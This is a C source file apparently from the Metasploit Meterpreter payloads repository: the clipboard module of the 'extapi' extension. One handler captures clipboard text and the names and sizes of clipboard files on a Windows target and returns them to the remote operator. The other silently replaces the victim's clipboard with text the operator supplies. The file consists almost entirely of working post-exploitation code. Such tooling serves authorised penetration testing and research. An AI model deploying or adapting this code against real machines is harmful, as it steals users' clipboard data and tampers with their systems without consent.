1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-05-06 16:09:38 +02:00

377 lines
13 KiB
C

/*!
* @file clipboard.h
* @brief Definitions for clipboard interaction functionality.
*/
#include "extapi.h"
#include "clipboard.h"
#ifdef _WIN32
/*! @brief GlobalAlloc function pointer type. */
typedef HGLOBAL (WINAPI * PGLOBALALLOC)( UINT uFlags, SIZE_T dwBytes );
/*! @brief GlobalFree function pointer type. */
typedef HGLOBAL (WINAPI * PGLOBALFREE)( HGLOBAL hMem );
/*! @brief GlobalLock function pointer type. */
typedef LPVOID (WINAPI * PGLOBALLOCK)( HGLOBAL hMem );
/*! @brief GlobalUnlock function pointer type. */
typedef LPVOID (WINAPI * PGLOBALUNLOCK)( HGLOBAL hMem );
/*! @brief OpenClipboard function pointer type. */
typedef BOOL (WINAPI * POPENCLIPBOARD)( HWND hWndNewOwner );
/*! @brief CloseClipboard function pointer type. */
typedef BOOL (WINAPI * PCLOSECLIPBOARD)();
/*! @brief SetClipboardData function pointer type. */
typedef HANDLE (WINAPI * PSETCLIPBOARDDATA)( UINT uFormat, HANDLE hMem );
/*! @brief SetClipboardData function pointer type. */
typedef HANDLE (WINAPI * PGETCLIPBOARDDATA)( UINT uFormat );
/*! @brief EnumClipboardFormats function pointer type. */
typedef UINT (WINAPI * PENUMCLIPBOARDFORMATS)( UINT uFormat );
/*! @brief EmptyClipboard function pointer type. */
typedef BOOL (WINAPI * PEMPTYCLIPBOARD)();
/*! @brief DragQueryFileA function pointer type. */
typedef BOOL (WINAPI * PDRAGQUERYFILEA)( HDROP hDrop, UINT iFile, LPSTR lpszFile, UINT cch );
/*! @brief CreateFileA function pointer type. */
typedef HANDLE (WINAPI * PCREATEFILEA)( LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile );
/*! @brief CloseHandle function pointer type. */
typedef BOOL (WINAPI * PCLOSEHANDLE)( HANDLE hObject );
/*! @brief GetFileSizeEx function pointer type. */
typedef BOOL (WINAPI * PGETFILESIZEEX)( HANDLE hFile, PLARGE_INTEGER lpFileSize );
#endif
/*!
* @brief Handle the request to get the data from the clipboard.
* @details This function currently only supports the following clipboard data formats:
* - CF_TEXT - raw text data.
* - CF_HDROP - file selection.
*
* Over time more formats will be supported.
* @param remote Pointer to the remote endpoint.
* @param packet Pointer to the request packet.
* @return Indication of success or failure.
* @todo Add support for more data formats.
*/
DWORD request_clipboard_get_data( Remote *remote, Packet *packet )
{
#ifdef _WIN32
DWORD dwResult;
HMODULE hKernel32 = NULL;
HMODULE hUser32 = NULL;
HMODULE hShell32 = NULL;
PGLOBALLOCK pGlobalLock = NULL;
PGLOBALUNLOCK pGlobalUnlock = NULL;
POPENCLIPBOARD pOpenClipboard = NULL;
PCLOSECLIPBOARD pCloseClipboard = NULL;
PGETCLIPBOARDDATA pGetClipboardData = NULL;
PENUMCLIPBOARDFORMATS pEnumClipboardFormats = NULL;
PDRAGQUERYFILEA pDragQueryFileA = NULL;
PCREATEFILEA pCreateFileA = NULL;
PCLOSEHANDLE pCloseHandle = NULL;
PGETFILESIZEEX pGetFileSizeEx = NULL;
HANDLE hSourceFile = NULL;
PCHAR lpClipString = NULL;
HGLOBAL hClipboardData = NULL;
HDROP hFileDrop = NULL;
UINT uFormat = 0;
UINT uFileIndex = 0;
UINT uFileCount = 0;
CHAR lpFileName[MAX_PATH];
Tlv entries[2] = {0};
LARGE_INTEGER largeInt = {0};
Packet *pResponse = packet_create_response( packet );
do
{
dprintf( "Loading user32.dll" );
if( (hUser32 = LoadLibraryA( "user32.dll" )) == NULL)
BREAK_ON_ERROR( "Unable to load user32.dll" );
dprintf( "Loading kernel32.dll" );
if( (hKernel32 = LoadLibraryA( "kernel32.dll" )) == NULL)
BREAK_ON_ERROR( "Unable to load kernel32.dll" );
dprintf( "Searching for GlobalLock" );
if( (pGlobalLock = (PGLOBALLOCK)GetProcAddress( hKernel32, "GlobalLock" )) == NULL )
BREAK_ON_ERROR( "Unable to locate GlobalLock in kernel32.dll" );
dprintf( "Searching for GlobalUnlock" );
if( (pGlobalUnlock = (PGLOBALUNLOCK)GetProcAddress( hKernel32, "GlobalUnlock" )) == NULL )
BREAK_ON_ERROR( "Unable to locate GlobalUnlock in kernel32.dll" );
dprintf( "Searching for OpenClipboard" );
if( (pOpenClipboard = (POPENCLIPBOARD)GetProcAddress( hUser32, "OpenClipboard" )) == NULL )
BREAK_ON_ERROR( "Unable to locate OpenClipboard in user32.dll" );
dprintf( "Searching for CloseClipboard" );
if( (pCloseClipboard = (PCLOSECLIPBOARD)GetProcAddress( hUser32, "CloseClipboard" )) == NULL )
BREAK_ON_ERROR( "Unable to locate CloseClipboard in user32.dll" );
dprintf( "Searching for GetClipboardData" );
if( (pGetClipboardData = (PGETCLIPBOARDDATA)GetProcAddress( hUser32, "GetClipboardData" )) == NULL )
BREAK_ON_ERROR( "Unable to locate GetClipboardData in user32.dll" );
dprintf( "Searching for EnumClipboardFormats" );
if( (pEnumClipboardFormats = (PENUMCLIPBOARDFORMATS)GetProcAddress( hUser32, "EnumClipboardFormats" )) == NULL )
BREAK_ON_ERROR( "Unable to locate EnumClipboardFormats in user32.dll" );
// Try to get a lock on the clipboard
if( !pOpenClipboard( NULL ) ) {
dwResult = GetLastError();
BREAK_WITH_ERROR( "Unable to open the clipboard", dwResult );
}
dprintf( "Clipboard locked, attempting to get data..." );
while ( uFormat = pEnumClipboardFormats( uFormat ) )
{
if( uFormat == CF_TEXT ) {
// there's raw text on the clipboard
if ( (hClipboardData = pGetClipboardData( CF_TEXT ) ) != NULL
&& (lpClipString = (PCHAR)pGlobalLock( hClipboardData )) != NULL ) {
dprintf( "Clipboard text captured: %s", lpClipString );
packet_add_tlv_string( pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT, lpClipString );
pGlobalUnlock( hClipboardData );
}
}
else if( uFormat == CF_HDROP ) {
// there's one or more files on the clipboard
dprintf( "Files have been located on the clipboard" );
do
{
dprintf( "Loading shell32.dll" );
if( (hShell32 = LoadLibraryA( "shell32.dll" )) == NULL)
BREAK_ON_ERROR( "Unable to load shell32.dll" );
dprintf( "Searching for CreateFileA" );
if( (pCreateFileA = (PCREATEFILEA)GetProcAddress( hKernel32, "CreateFileA" )) == NULL )
BREAK_ON_ERROR( "Unable to locate CreateFileA in kernel32.dll" );
dprintf( "Searching for CloseHandle" );
if( (pCloseHandle = (PCLOSEHANDLE)GetProcAddress( hKernel32, "CloseHandle" )) == NULL )
BREAK_ON_ERROR( "Unable to locate CloseHandle in kernel32.dll" );
dprintf( "Searching for GetFileSizeEx" );
if( (pGetFileSizeEx = (PGETFILESIZEEX)GetProcAddress( hKernel32, "GetFileSizeEx" )) == NULL )
BREAK_ON_ERROR( "Unable to locate GetFileSizeEx in kernel32.dll" );
dprintf( "Searching for DragQueryFileA" );
if( (pDragQueryFileA = (PDRAGQUERYFILEA)GetProcAddress( hShell32, "DragQueryFileA" )) == NULL )
BREAK_ON_ERROR( "Unable to locate CloseClipboard in shell32.dll" );
dprintf( "Grabbing the clipboard file drop data" );
if ( (hClipboardData = pGetClipboardData( CF_HDROP ) ) != NULL
&& (hFileDrop = (HDROP)pGlobalLock( hClipboardData )) != NULL ) {
uFileCount = pDragQueryFileA( hFileDrop, (UINT)-1, NULL, 0 );
dprintf( "Parsing %u file(s) on the clipboard.", uFileCount );
for( uFileIndex = 0; uFileIndex < uFileCount; ++uFileIndex ) {
if( pDragQueryFileA( hFileDrop, uFileIndex, lpFileName, sizeof( lpFileName ) ) ) {
dprintf( "Clipboard file entry: %s", lpFileName );
memset( &entries, 0, sizeof(entries) );
memset( &largeInt, 0, sizeof(largeInt) );
entries[0].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME;
entries[0].header.length = (DWORD)strlen( lpFileName ) + 1;
entries[0].buffer = (PUCHAR)lpFileName;
entries[1].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE;
entries[1].header.length = sizeof(QWORD);
entries[1].buffer = (PUCHAR)&largeInt.QuadPart;
if( (hSourceFile = pCreateFileA( lpFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL )) != NULL ) {
if( pGetFileSizeEx( hSourceFile, &largeInt ) ) {
largeInt.QuadPart = htonq( largeInt.QuadPart );
}
pCloseHandle( hSourceFile );
}
packet_add_tlv_group( pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE, entries, 2 );
}
}
pGlobalUnlock( hClipboardData );
}
} while(0);
}
}
dwResult = GetLastError();
pCloseClipboard();
} while(0);
if( hShell32 )
FreeLibrary( hShell32 );
if( hKernel32 )
FreeLibrary( hKernel32 );
if( hUser32 )
FreeLibrary( hUser32 );
if( pResponse )
packet_transmit_response( dwResult, remote, pResponse );
return dwResult;
#else
return ERROR_NOT_SUPPORTED;
#endif
}
/*!
* @brief Handle the request to set the data that's on the clipboard.
* @details This function currently only supports the following clipboard data formats:
* - CF_TEXT - raw text data.
*
* Over time more formats will be supported.
* @param remote Pointer to the remote endpoint.
* @param packet Pointer to the request packet.
* @return Indication of success or failure.
* @todo Add support for more data formats.
*/
DWORD request_clipboard_set_data( Remote *remote, Packet *packet )
{
#ifdef _WIN32
DWORD dwResult;
HMODULE hKernel32 = NULL;
HMODULE hUser32 = NULL;
PGLOBALALLOC pGlobalAlloc = NULL;
PGLOBALFREE pGlobalFree = NULL;
PGLOBALLOCK pGlobalLock = NULL;
PGLOBALUNLOCK pGlobalUnlock = NULL;
POPENCLIPBOARD pOpenClipboard = NULL;
PCLOSECLIPBOARD pCloseClipboard = NULL;
PSETCLIPBOARDDATA pSetClipboardData = NULL;
PEMPTYCLIPBOARD pEmptyClipboard = NULL;
PCHAR lpClipString;
HGLOBAL hClipboardData;
PCHAR lpLockedData;
SIZE_T cbStringBytes;
do
{
if( (lpClipString = packet_get_tlv_value_string( packet, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT )) == NULL )
BREAK_WITH_ERROR( "No string data specified", ERROR_INVALID_PARAMETER );
dprintf( "Loading user32.dll" );
if( (hUser32 = LoadLibraryA( "user32.dll" )) == NULL)
BREAK_ON_ERROR( "Unable to load user32.dll" );
dprintf( "Loading kernel32.dll" );
if( (hKernel32 = LoadLibraryA( "kernel32.dll" )) == NULL)
BREAK_ON_ERROR( "Unable to load kernel32.dll" );
dprintf( "Searching for GlobalAlloc" );
if( (pGlobalAlloc = (PGLOBALALLOC)GetProcAddress( hKernel32, "GlobalAlloc" )) == NULL )
BREAK_ON_ERROR( "Unable to locate GlobalAlloc in kernel32.dll" );
dprintf( "Searching for GlobalLock" );
if( (pGlobalLock = (PGLOBALLOCK)GetProcAddress( hKernel32, "GlobalLock" )) == NULL )
BREAK_ON_ERROR( "Unable to locate GlobalLock in kernel32.dll" );
dprintf( "Searching for GlobalUnlock" );
if( (pGlobalUnlock = (PGLOBALUNLOCK)GetProcAddress( hKernel32, "GlobalUnlock" )) == NULL )
BREAK_ON_ERROR( "Unable to locate GlobalUnlock in kernel32.dll" );
dprintf( "Searching for OpenClipboard" );
if( (pOpenClipboard = (POPENCLIPBOARD)GetProcAddress( hUser32, "OpenClipboard" )) == NULL )
BREAK_ON_ERROR( "Unable to locate OpenClipboard in user32.dll" );
dprintf( "Searching for CloseClipboard" );
if( (pCloseClipboard = (PCLOSECLIPBOARD)GetProcAddress( hUser32, "CloseClipboard" )) == NULL )
BREAK_ON_ERROR( "Unable to locate CloseClipboard in user32.dll" );
dprintf( "Searching for EmptyClipboard" );
if( (pEmptyClipboard = (PEMPTYCLIPBOARD)GetProcAddress( hUser32, "EmptyClipboard" )) == NULL )
BREAK_ON_ERROR( "Unable to locate EmptyClipboard in user32.dll" );
dprintf( "Searching for SetClipboardData" );
if( (pSetClipboardData = (PSETCLIPBOARDDATA)GetProcAddress( hUser32, "SetClipboardData" )) == NULL )
BREAK_ON_ERROR( "Unable to locate SetClipboardData in user32.dll" );
cbStringBytes = (SIZE_T)strlen( lpClipString ) + 1;
// do the "use the right kind of memory once locked" clip board data dance.
// Note that we don't free up the memory we've allocated with GlobalAlloc
// because the windows clipboard magic does it for us.
if( (hClipboardData = pGlobalAlloc( GMEM_MOVEABLE | GMEM_DDESHARE, cbStringBytes )) == NULL ) {
dwResult = GetLastError();
pCloseClipboard();
BREAK_WITH_ERROR( "Failed to allocate clipboard memory", dwResult );
}
lpLockedData = (PCHAR)pGlobalLock( hClipboardData );
memcpy_s( lpLockedData, cbStringBytes, lpClipString, cbStringBytes );
pGlobalUnlock( hClipboardData );
// Try to get a lock on the clipboard
if( !pOpenClipboard( NULL ) ) {
dwResult = GetLastError();
BREAK_WITH_ERROR( "Unable to open the clipboard", dwResult );
}
// Clear the clipboard data
pEmptyClipboard();
if( !pSetClipboardData( CF_TEXT, hClipboardData ) ) {
dwResult = GetLastError();
dprintf( "Failed to set the clipboad data: %u", dwResult );
} else {
dwResult = ERROR_SUCCESS;
}
pCloseClipboard();
} while(0);
// If something went wrong and we have clipboard data, then we need to
// free it up because the clipboard can't do it for us.
if( dwResult != ERROR_SUCCESS && hClipboardData != NULL ) {
dprintf( "Searching for GlobalFree" );
if( (pGlobalFree = (PGLOBALFREE)GetProcAddress( hKernel32, "GlobalFree" )) != NULL )
pGlobalFree( hClipboardData );
}
if( hKernel32 )
FreeLibrary( hKernel32 );
if( hUser32 )
FreeLibrary( hUser32 );
packet_transmit_empty_response( remote, packet, dwResult );
return dwResult;
#else
return ERROR_NOT_SUPPORTED;
#endif
}